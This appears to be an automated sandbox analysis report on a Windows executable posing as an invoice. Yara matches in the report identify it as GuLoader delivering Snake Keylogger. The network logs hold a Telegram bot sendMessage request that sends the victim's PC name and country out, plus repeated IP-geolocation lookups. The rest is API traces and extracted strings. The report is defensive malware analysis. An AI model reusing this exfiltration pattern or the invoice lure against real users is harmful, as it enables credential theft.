4	192.168.2.4	49865	188.114.97.3	443	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 13:19:29 UTC	87	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-30 13:19:29 UTC	887	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:29 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 42392 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dZlU1oYhpLuGwi9cTJ41JQAvFAImVJoJ3G%2BFMu%2BF8gmOyKZYEoFs0vHOwZvdOsnWqYuJlPgmRnwXQ9LV92uFACIzNhV2lfge%2BJen2XJrNvPyORTYVSFCf1SpWZBN6sVS%2FgwOWHsR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dabb2807c8c486e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1640&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1707547&cwnd=251&unsent_bytes=0&cid=ce5e2e197f7847c7&ts=154&x=0"
2024-10-30 13:19:29 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49877	188.114.97.3	443	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 13:19:31 UTC	63	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-30 13:19:31 UTC	887	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:31 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 42394 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hGfKQi5sOJULUnC6W4d0qKSITCg9BNyxKY%2FS1qFqXv2%2FJv1M%2FisgKQ5B8yFoxRJPXH4rWNnMA61QtzgvcDyPXTOSVjJr8Pq8n9vEmlCsci8lFE0pjQjmuGqiq%2Ft5W2qfAhHq1gIW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dabb28c4b0d6b6b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1867&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1495867&cwnd=251&unsent_bytes=0&cid=79ccf9695adc9701&ts=166&x=0"
2024-10-30 13:19:31 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49889	188.114.97.3	443	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 13:19:33 UTC	87	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-30 13:19:33 UTC	889	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:33 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 42396 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=58bKOmrEkARN2z5ehbcJvQZYJww%2FUnxhhQr%2FfOfAeDYg1IeAmZvj8b2EP3oSWYxL0RnzS09HmfpFYia5sUs7Rboe7s895%2F37Y9b0px7mj3C%2BgpOv6%2FK0HmowCtQbpHx2ywnsnG0p"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dabb29c8e613594-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1091&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2443881&cwnd=251&unsent_bytes=0&cid=1e9b74b7bda03312&ts=372&x=0"
2024-10-30 13:19:33 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49901	188.114.97.3	443	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 13:19:35 UTC	87	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-30 13:19:35 UTC	893	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:35 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 42398 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CL4MfuzZrmzCqIpuJrT64Kg5h4mWCJU1296f88JjnLkJB%2ByA79Ry6IVaQF%2BVP%2BcBZyYLpC4Q7nylZKZsoc5BP1ZHE1bqqF%2BmTq4FrJAmUjA%2FsB2OwRzp4h%2B8adFDkc5Sa%2BCgePmC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dabb2a80b6de53e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1098&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2569653&cwnd=251&unsent_bytes=0&cid=8c04dff82476c1f5&ts=157&x=0"
2024-10-30 13:19:35 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49913	188.114.97.3	443	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 13:19:37 UTC	87	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-30 13:19:37 UTC	883	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:37 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 42400 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rh8ITUPRr61WWDAwqKgm8GqsWyYs51z5WeKU33LwjocDQynQ95gBmubsPdYvelF8eFpcNlx8MGQ6LQ91ND4QobmTS0%2BqbB59uZPGrUgKQBNxaih6caBVL6HAC76luIWiYw%2Bk6h7W"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dabb2b2affde8fd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2102&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1394318&cwnd=251&unsent_bytes=0&cid=bd7e3044b024c11a&ts=166&x=0"
2024-10-30 13:19:37 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49925	188.114.97.3	443	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 13:19:39 UTC	87	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-30 13:19:39 UTC	889	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:39 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 42402 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a4NLyA%2FGnTdTQo1o1vPWrt2vublhemYEFvJPY7XH2%2F11VayEvHwldrFUkARWsHaNW9OOXiSS6ilcHpS8AMrpL7%2Fpk0EXvmD2HIi3zVyfgbbpw1oogy%2FCsH7wWho%2BqZNfaZcvxue3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dabb2bd4c57a918-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1144&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2494401&cwnd=177&unsent_bytes=0&cid=e757cb4e61fe26b3&ts=143&x=0"
2024-10-30 13:19:39 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49937	188.114.97.3	443	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 13:19:40 UTC	87	OUT	GET /xml/173.254.250.78 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-30 13:19:40 UTC	885	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 13:19:40 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AcLvmhW3vHcESEw= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 42403 Last-Modified: Wed, 30 Oct 2024 01:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z5RQrt9qSm38WQ5ngv0a5SEiNY2%2F7TbsnBpew8xXVcH0d14qM4OHx8oR7u9FHo8NnsrFwdGtaxjlKLTjZJ%2FxpqZm1PpKpX71kHtjnsUEEf8%2FaFsNV50PnLifd6KQ1Ah5rVMbZ9DH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dabb2c80c0535a2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1282&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2056818&cwnd=247&unsent_bytes=0&cid=b7c7eff343520251&ts=153&x=0"
2024-10-30 13:19:40 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.78</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49943	149.154.167.220	443	5852	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 13:19:41 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:928100%0D%0ADate%20and%20Time:%2031/10/2024%20/%2001:29:36%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20928100%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-30 13:19:42 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 30 Oct 2024 13:19:41 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-30 13:19:42 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	09:18:11
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"
Imagebase:	0x400000
File size:	996'039 bytes
MD5 hash:	43A7D0B4C9AEFB5DD8C1FBFAD057B4B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2291538822.00000000053B2000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:19:06
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\Factura Honorarios 2024-10.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"
Imagebase:	0x400000
File size:	996'039 bytes
MD5 hash:	43A7D0B4C9AEFB5DD8C1FBFAD057B4B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.3011994404.0000000037AA7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.3011994404.00000000379A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000004.00000002.2985431621.0000000001862000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	20.1%
Dynamic/Decrypted Code Coverage:	15%
Signature Coverage:	21.5%
Total number of Nodes:	1529
Total number of Limit Nodes:	49

Executed Functions

Function 004031FF Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 0040321E
SetErrorMode.KERNELBASE(00008001), ref: 00403229
OleInitialize.OLE32(00000000), ref: 00403230

Part of subcall function 004060E1: GetModuleHandleA.KERNEL32(?,?,00000020,00403242,00000008), ref: 004060F3
Part of subcall function 004060E1: LoadLibraryA.KERNELBASE(?,?,00000020,00403242,00000008), ref: 004060FE
Part of subcall function 004060E1: GetProcAddress.KERNEL32(00000000,?), ref: 0040610F

SHGetFileInfoW.SHELL32(00420658,00000000,?,000002B4,00000000), ref: 00403258

Part of subcall function 00405D77: lstrcpynW.KERNEL32(?,?,00000400,0040326D,004281A0,NSIS Error), ref: 00405D84

GetCommandLineW.KERNEL32(004281A0,NSIS Error), ref: 0040326D
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe",00000000), ref: 00403280
CharNextW.USER32(00000000,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe",00000020), ref: 004032A7
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 004033B0
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004033C1
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033CD
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033E1
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004033E9
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004033FA
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403402
DeleteFileW.KERNELBASE(1033), ref: 00403416
OleUninitialize.OLE32(?), ref: 004034C6
ExitProcess.KERNEL32 ref: 004034E6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe",00000000,?), ref: 004034F2
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe",00000000,?), ref: 004034FE
CreateDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040350A
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403511
DeleteFileW.KERNEL32(0041FE58,0041FE58,?,0042A000,?), ref: 0040356B
CopyFileW.KERNEL32(C:\Users\user\Desktop\Factura Honorarios 2024-10.exe,0041FE58,?), ref: 0040357F
CloseHandle.KERNEL32(00000000,0041FE58,0041FE58,?,0041FE58,00000000), ref: 004035AC
GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 00403602
ExitWindowsEx.USER32(00000002,00000000), ref: 0040363E
ExitProcess.KERNEL32 ref: 00403661

Strings

1033, xrefs: 00403411
TMP, xrefs: 004033FD
Low, xrefs: 004033E3
C:\Program Files (x86)\shaw, xrefs: 004034A3
C:\Users\user\Desktop, xrefs: 004034F7, 004034FC, 00403520
NSIS Error, xrefs: 0040325E
TEMP, xrefs: 004033F5
\Temp, xrefs: 004033C7
"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe", xrefs: 00403273, 00403279, 0040343A
C:\Users\user\AppData\Local\Temp\, xrefs: 004033A5, 004033AA, 004033C0, 004033CC, 004033DB, 004033E8, 004033F4, 004033FC, 004034F1, 004034FD, 00403509, 00403510, 004035C1
C:\Users\user\Desktop\Factura Honorarios 2024-10.exe, xrefs: 0040357A
~nsu.tmp, xrefs: 004034EC
kernel32::EnumResourceTypesA(i 0,i r8,i 0), xrefs: 0040354E, 004035B6
SeShutdownPrivilege, xrefs: 00403614
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer, xrefs: 00403395, 00403498, 00403517, 00403521
Error launching installer, xrefs: 0040347D

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
